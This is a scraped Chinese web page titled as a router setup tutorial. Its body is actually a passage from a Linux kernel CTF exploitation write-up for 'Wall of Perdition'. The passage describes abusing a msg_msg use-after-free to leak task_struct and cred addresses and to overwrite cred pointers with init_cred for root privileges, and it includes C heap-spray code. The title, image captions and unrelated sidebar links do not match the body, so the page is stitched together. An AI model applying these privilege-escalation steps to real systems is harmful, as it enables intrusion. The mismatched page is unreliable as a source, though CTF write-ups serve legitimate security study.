当前位置:首页 > 实用技巧 >

msg1500路由器设置教程(傻瓜路由器参数设置)

来源:原点资讯(www.yd166.com)时间:2023-11-30 22:49:44作者:YD166手机阅读>>

3.2 步骤2——泄露cred地址

泄露cred地址:再次利用任意读,从init_task开始找到当前进程的task_struct(也可以调用 prctl SET_NAME来设置comm成员,以此标志来暴搜,详见 Google CTF Quals 2021 Fullchain writeup)。本题提供了vmlinux符号信息,task_struct->tasks偏移是0x398,该位置的前8字节为null,可以当作1个segment;real_cred和cred指针在偏移0x538和0x540处,前面8字节也是null。利用UAF改大msg_msg->m_ts,将msg_msg->next改为&task_struct 0x298-8,调用msgrcv()读内存

msg1500路由器设置教程,傻瓜路由器参数设置(5)

3.3 步骤3——篡改cred & real_cred指针

篡改cred & real_cred指针:根据pid找到当前进程后,利用UAF篡改msg_msg->next指向&real_cred-0x8,调用msgsnd()写内存,即可将real_cred和cred指针替换为init_cred即可提权。

msg1500路由器设置教程,傻瓜路由器参数设置(6)

msg1500路由器设置教程,傻瓜路由器参数设置(7)


4. Wall of Perdition 复杂模式利用

特点:大小为kmalloc-64的UAF。

现有的任意写、任意释放技术: Four Bytes of Power: Exploiting CVE-2021-26708 in the Linux kernel 中介绍了如何伪造msg_msg->m_ts来实现任意写,也通过msg_msg->security指针实现了任意释放,但是本题关闭了SELinux,则msg_msg->security指针总是指向NULL,本题不适用。

4.1 步骤1——越界读泄露内核基址、msg_msg->m_list.next / prev

创建2个消息队列

[...] void send_msg(int qid, int size, int c) { struct msgbuf { long mtype; char mtext[size - 0x30]; } msg; msg.mtype = 1; memset(msg.mtext, c, sizeof(msg.mtext)); if (msgsnd(qid, &msg, sizeof(msg.mtext), 0) == -1) { perror("msgsnd"); exit(1); } } [...] // [1] 先调用msgget()创建两个队列,第一个标记为QID #0,第二个标记为QID #1。 if ((qid[0] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) { perror("msgget"); exit(1); } if ((qid[1] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) { perror("msgget"); exit(1); } // [2] 调用 add_rule() 向firewall_rules_in添加inbound规则,再调用 duplicate_rule() 复制到 firewall_rule_out,释放后还能从 firewall_rule_out[1] 访问,触发UAF add_rule(0, buff, INBOUND); duplicate_rule(0, INBOUND); delete_rule(0, INBOUND); send_msg(qid[0], 0x40, 'A'); // [3] 调用send_msg(),也即对msgsnd()的包装函数,分配3个消息。第1个大小为0x40, 位于队列 QID #0, 由于和刚刚释放的rule位于同一个kmalloc-64,所以能修改该消息的msg_msg头结构。 send_msg(qid[1], 0x40, 'B'); // [4] 第2个消息在队列QID #1中,大小为0x40字节 send_msg(qid[1], 0x1ff8, 0); // [5] 第3个消息在队列QID #1中,大小为0x1ff8字节 [...]

消息布局QID #0 消息队列——橘色部分是第1个消息,堆块大小0x40,可通过 edit_rule() 完全控制。 QID #1消息队列——第1个消息,堆块大小为0x40,其 msg_msg->m_list.prev 指向消息队列 QID #1,m_list.next指向第2个消息,占两个kmalloc-4096。

msg1500路由器设置教程,傻瓜路由器参数设置(8)

栏目热文

二级路由器有几种配置方法(二级路由器的全部设置方法)

二级路由器有几种配置方法(二级路由器的全部设置方法)

于一个网络如何连接两个路由器?家里房间比较多,之前已经安装了一个无线路由器,但是在某些房间信号很差,想再增加一个无线路由...

2023-11-30 22:10:23查看全文 >>

校园五霸是哪五个动漫(和校园四霸齐名的动漫)

校园五霸是哪五个动漫(和校园四霸齐名的动漫)

首先还是要吹一波在这个各部热门续作纷纷跳票的情况下,《辉夜大小姐想让我告白》并没有收到疫情的影响,反而继承了第一季的完美...

2023-11-30 22:18:12查看全文 >>

校园四霸动漫评分(校园四霸动漫哪个好)

校园四霸动漫评分(校园四霸动漫哪个好)

转眼之间就已经到了六月下旬,再过一个礼拜就是七月了,七月对于喜欢动漫的小伙伴们来说又是一个观看新番的好日子!而近日有一部...

2023-11-30 22:07:50查看全文 >>

动漫校园四霸都有谁(动漫校园五霸是哪五个人)

动漫校园四霸都有谁(动漫校园五霸是哪五个人)

最近,小编经常看到这四个男生出现在同一张图上,并配文“校园四霸”的标签。刚入圈的萌新可能还不了解,接下来小编就带大家大致...

2023-11-30 22:46:49查看全文 >>

跟校园四霸类似的动漫(最近妹妹有点怪类似的动漫)

跟校园四霸类似的动漫(最近妹妹有点怪类似的动漫)

因为在学校中的表现,折木奉太郎、咲太、比企谷八幡、路哥这几位动漫男主被称为“校园四霸”,想必各位小伙伴们应该很是熟悉吧?...

2023-11-30 22:10:13查看全文 >>

二级路由器配置方案(二级路由器设置最稳定的方法)

二级路由器配置方案(二级路由器设置最稳定的方法)

此文摘自无线网桥公众号此文介绍二级路由器/子路由器的设置方法 常见应用有:两台网桥组网,发射端跟接收端双方都接路由器使用...

2023-11-30 22:29:13查看全文 >>

路由器怎么设置链路检测(路由器开启链路聚合都能怎么用)

路由器怎么设置链路检测(路由器开启链路聚合都能怎么用)

本示例的基本拓扑结构如图所示,现网中有3台路由器通过IS-IS协议实现路由互通,且Router-A和Router-B之间...

2023-11-30 22:35:40查看全文 >>

汽油车加了少量柴油要紧吗(汽油车不小心加了柴油有事吗)

汽油车加了少量柴油要紧吗(汽油车不小心加了柴油有事吗)

如果汽油车不小心误加了柴油,就像小孩子吃错了东西,小则闹肚子,大则危及生命,我们千万不要心存侥幸或心存好奇,而是要科学对...

2023-11-30 22:58:18查看全文 >>

汽油车加了一点点的柴油怎么处理(汽油车加了一点柴油行不行)

汽油车加了一点点的柴油怎么处理(汽油车加了一点柴油行不行)

市面上的汽车有柴油车、汽油车、新能源汽车三种,汽油车和柴油车都需要定期去加油站加油,加油站的油分为不同的油号,有些车主一...

2023-11-30 22:48:55查看全文 >>

汽油车不小心加了柴油(汽油车不小心加了柴油当时怎么样)

汽油车不小心加了柴油(汽油车不小心加了柴油当时怎么样)

买车容易,养车难。成为当下许多有车一族的心声,尤其是油价越来越高,让人有苦难言。最近有个朋友问小编,柴油的油价比汽油便宜...

2023-11-30 22:26:33查看全文 >>

文档排行